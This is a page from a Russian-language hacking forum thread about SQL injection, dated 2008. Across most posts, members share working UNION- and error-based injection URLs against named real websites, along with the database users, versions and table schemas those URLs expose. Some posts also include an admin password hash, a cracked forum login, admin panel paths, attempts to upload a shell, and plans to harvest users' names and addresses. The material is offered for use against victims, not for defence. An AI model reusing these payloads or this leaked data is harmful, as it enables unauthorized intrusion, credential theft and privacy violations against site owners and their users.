SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 231 of 798
  1. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    http://www.trendnet.com/ru/asp/download_manager/list_subcategory.asp?SUBTYPE_ID=1038+or+1=@@version--

    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86 ) May 3 2005 23 :18 :38 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790 : Service Pack 2)

    http://www.trendnet.com/ru/asp/download_manager/list_subcategory.asp?SUBTYPE_ID=1038+or+1=(select+system_user)--

    'sqlguest'


    http://www.trendnet.com/ru/asp/download_manager/list_subcategory.asp?SUBTYPE_ID=1038+or+1=(select+db_name())--

    'downloads'

    больше ничего не получилось :(
     
    #4601 sasTO, 28 Jan 2008
    3 people like this.
  2. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    www.mosparohodstvo.ru
    5.0.45-log
    admin:762d97b11b532702
    http://www.mosparohodstvo.ru/adm/
     
    #4602 159932, 28 Jan 2008
    2 people like this.
  3. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    zmago.com
    HTML:
    http://www.zmago.com/podjetje.php?tema=-4+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),2,3,4,5,6,7,8,9/*
    USER:slovino2@localhost
    VERSION:5.0.45
    DATABASE:slovino2
    HTML:
    http://www.zmago.com/podjetje.php?tema=-4+union+select+0,table_name,2,3,4,5,6,7,8,9+from+information_schem  a.tables/*
    - все названия таблиц
    HTML:
    http://www.zmago.com/podjetje.php?tema=-4+union+select+0,column_name,2,3,4,5,6,7,8,9+from+information_sche  ma.columns/*
    - все названия столбцов
    fxmonitor.ru
    HTML:
    http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,concat(USER(),0x3a,VERSION(),0x3a,DATABASE(   )),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&user=bf0ab9beec6bacd404743fcfc95dbcb6
    USER:whcforex_admin@localhost
    VERSION:5.0.45-community-log
    DATABASE:whcforex_monitoring
    HTML:
    http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,   18,19,20,21,22,23+from+information_schema.tables/*&user=bf0ab9beec6bacd404743fcfc95dbcb6
    - все названия таблиц
    HTML:
    http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17   ,18,19,20,21,22,23+from+information_schema.columns/*&user=bf0ab9beec6bacd404743fcfc95dbcb6
    - все названия столбцов
    arbat-voyage.com
    HTML:
    http://arbat-voyage.com/hotel.php?m=-188+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE())/*
    USER:us1126b@localhost
    VERSION:4.1.22
    DATABASE:db1126b
     
    #4603 .Begemot., 28 Jan 2008
    5 people like this.
  4. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Уязвимы все сайты от LeaguePro Inc, введите в поисковик "This site created by LeaguePro Inc.".В любом из них будет такая скуль
    Code:
    http://www.leaguepro.com/~whllorg/team.php?id=-62+union+select+concat_ws(char(58,58),user(),database(),version()),2/*
    правда выжить из неё что либо не удалось, т.к. 4.1.22-standard.
     
    #4604 min7, 28 Jan 2008
    3 people like this.
  5. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
    сайт довольно большого краснояркского интернет провайдера :)
    Code:
    http://www.kraslan.ru/other/banners.php?click=7+union+select+1,2,3,4,5,6,7,'text',9,10,11,12,13,14,15,16/*
    DATABASE()=monitor :)
    Username()=monitor@localhost
    Version=5.0.41-log
     
    #4605 MaSter GeN, 28 Jan 2008
    Last edited: 31 Jan 2008
    4 people like this.
  6. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    сайт слабоалкогольного напитка, интересно нахрен столько полей там...
    Code:
    http://www.happyland.ru/brands.php?id=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*
    happyland:[email protected]:4.0.26-log

    Code:
    http://www.uprava.org/section.php?id=-1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7/*
    4.0.27:uprava-org:[email protected]
     
    #4606 Sharingan, 29 Jan 2008
    3 people like this.
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    http://www.iwdp.co.uk​

    Info:
    http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11/*
    iwdp@localhost:4.0.25-standard:iwdp

    Disclosure path:
    /home/iwdp/public_html/

    Members area:
    http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,2,3,4,5,6,7,8,9,10,11+from+ibf_members+limit+0,1/*

    Forum: (IPB 1.2.2)
    http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws(0x3a,name,password),3,4,5,6,7,8,9,10,11+from+ibf_members+limit+1,1/*

    [hash]
    TiggerOnSpeed:a9f16cafdaffb824fb19ce24aa50dc04
    [unhash]
    TiggerOnSpeed:w173344e

    Link to forum: http://www.iwdp.co.uk/members/admin.php

    Все методы заливки шелла через админку в ипб не работают т.к. нет прав в дирах....
     
    #4607 banned, 29 Jan 2008
    4 people like this.
  8. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Code:
    http://www.michaelpollan.com/article.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10/*
    pollan_article@localhost:4.1.22-standard:pollan_articles
     
    #4608 razzzar, 29 Jan 2008
    2 people like this.
  9. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Несколько скуль, которые не получилось раскрутить:
    Code:
    http://www.[COLOR=DarkOrange]tanzform.de[/COLOR]/team.php?id=-14+union+select+concat_ws(char(58,58),user(),database(),version()),2,3/*
    tanzform@localhost::dbtanz::4.1.21
    Code:
    http://www.[COLOR=DarkOrange]chaosfactors.com[/COLOR]/wc3/team.php?id=-24+union+select+1,2,3,4,5,6,7,concat_ws(char(58,58),user(),version(),database()),9,10,11,12,13/*
    chaosfactors@localhost::4.1.21-log::chaosfactors
    Code:
    http://www.[COLOR=DarkOrange]weigandconstruction.com[/COLOR]/about/team.php?id=-1+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13/*
    weigandc_wa@localhost::weigandc_weigand::4.0.27
    Code:
    http://www.[COLOR=DarkOrange]thewoodgroupinc.com[/COLOR]/team.php?ID=-11+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5/*
    [email protected]::twg_database::4.1.22-max-log
    Code:
    http://www.[COLOR=DarkOrange]steuerberater-prikryl.de[/COLOR]/team.php?id=-32+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8/*
    prikryl@localhost:: pikryl::4.0.18
    Code:
    http://www.[COLOR=DarkOrange]planervilla.de[/COLOR]/team.php?id=-3+union+select+1,2,3,4,concat_ws(char(58,58),user(),database(),version()),6/*
    [email protected]::db162909144::5.0.45-log Здесь ничё интересного...
     
    #4609 min7, 29 Jan 2008
    Last edited: 29 Jan 2008
    5 people like this.
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Code:
    http://sutherlands.com/homepage.php?store=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73/*
    information_schema есть, но не видел полезных таблиц в бд..
    Хотя мембер зона есть....
     
    #4610 banned, 29 Jan 2008
  11. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Code:
    http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),version(),database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*
    eutrsite@localhost:5.0.22-Debian_0ubuntu6.06.6-log:eutrainingsite

    Code:
    http://www.allaboutjazz.com/php/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(0x3a,user(),version(),database()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82/*
    vxweb@jazzy:4.1.20:allaboutjazz
     
    #4611 razzzar, 29 Jan 2008
  12. andromeda

    andromeda New Member

    Joined:
    6 Dec 2007
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Вот собственно есть сайт :

    http://diaries.wharton.upenn.edu/DiaristResults.asp?UserID=-1+or+1=(select+user)--

    Команды исполняются, НО! добавил юзера, попробовал законектится, ввожу логин, пасс - не пускает! (не правильный пасс типа того). Может там домен надо указывать или еще чтонить? Помогите разобраться. Много сайтов встречал с такой байдой.
     
    #4612 andromeda, 29 Jan 2008
  13. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    4.1.22-standard
    -----------------------------------------------------
    4.1.22-log
    -----------------------------------------------------
    вывода не нащёл ((
    тиц 1.6к
     
    #4613 159932, 29 Jan 2008
  14. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    вот держи тебе и вывод и юзера какие-то не проверял откуда они, всего их 1624
     
    #4614 }{0TT@БЬ)Ч, 29 Jan 2008
  15. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    MsSQL
    ttp://www.gettech.org/category2.asp?cat='
    ttp://www.readersclub.org/category.asp?cat='
    ttp://www.zap.co.il/cat.asp?cat='
    ttp://www.algemeiner.com/generic.asp?cat='
    ttp://www.winstep.net/default.asp?cat='
    ttp://www.hamil.co.il/media.asp?cat='
    ttp://www.felinefido.com/store/WsDefault.asp?Cat='
    ttp://www.britishbookshop.at/shop/prod_list.asp?cat='
    ttp://www.newsreel.org/nav/topics.asp?cat='
    ttp://www.fao.org/biotech/news_list.asp?Cat='
    ttp://www.liberation.press.ma/default.asp?cat='
    ttp://www.stateofthenewsmedia.com/2007/narrative_digital_profile.asp?cat='
    ttp://www.airfagev.com/downloads.asp?cat='
     
    #4615 ReVOLVeR, 29 Jan 2008
  16. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Code:
    http://www.digitalidworld.com/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&mode=chrono&order=0
    nuke@localhost:4.0.16-log:didw
     
    #4616 razzzar, 29 Jan 2008
    1 person likes this.
  17. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    822
    Reputations:
    324
    Калькулятор через инъекцию

    чёт надоело уже видеть, как тут версии бд, и имена юзеров выкладывают...
     
    #4617 Mobile, 29 Jan 2008
    Last edited: 29 Jan 2008
    2 people like this.
  18. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    http://www.jobs-market.ru

    Code:
    http://www.jobs-market.ru/resume.php?id=999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
    version() - 5.0.51
    database() - jobsmarket_job
    user() - jobsmarket_job@localhost

    Code:
    17:adminip
17:--1:pass
18:bunsip
18:--1:bunsip
18:--2:why
18:--3:date
18:--4:period
19:category
19:--1:razdel
19:--2:podrazdel
26:resorderlist
26:--1:user
26:--2:unit
26:--3:number
26:--4:date
26:--5:status
27:resume
27:--14:family
27:--15:edu
32:--7:fio
32:--8:firm
32:--9:birth
32:--10:gender
32:--11:civil
32:--12:family
33:--7:zp
33:--8:gender
33:--9:grafic
33:--10:zanatost
33:--11:stage
33:--12:treb
33:--24:pay
    Оставил самое интересное :)
    Можно снять базу мыл с фио и адресами :)
     
    #4618 Tyc00n, 29 Jan 2008
  19. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    www.neo-lit.ru
    5.0.45-log
    админка - http://neo-lit.ru/stat/ - но пасс не подошёл ..
    есть табла respondents в ней (name и md5) но с префиксом и без него не могу попасть ..
    http://neo-lit.ru/robots.txt
     
    #4619 159932, 29 Jan 2008
  20. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Tyc00n, ты забыл про таблицу admins с полями pass и name :) админка - /admin
     
    #4620 n0ne, 29 Jan 2008
(You must log in or sign up to post here.)
Page 231 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.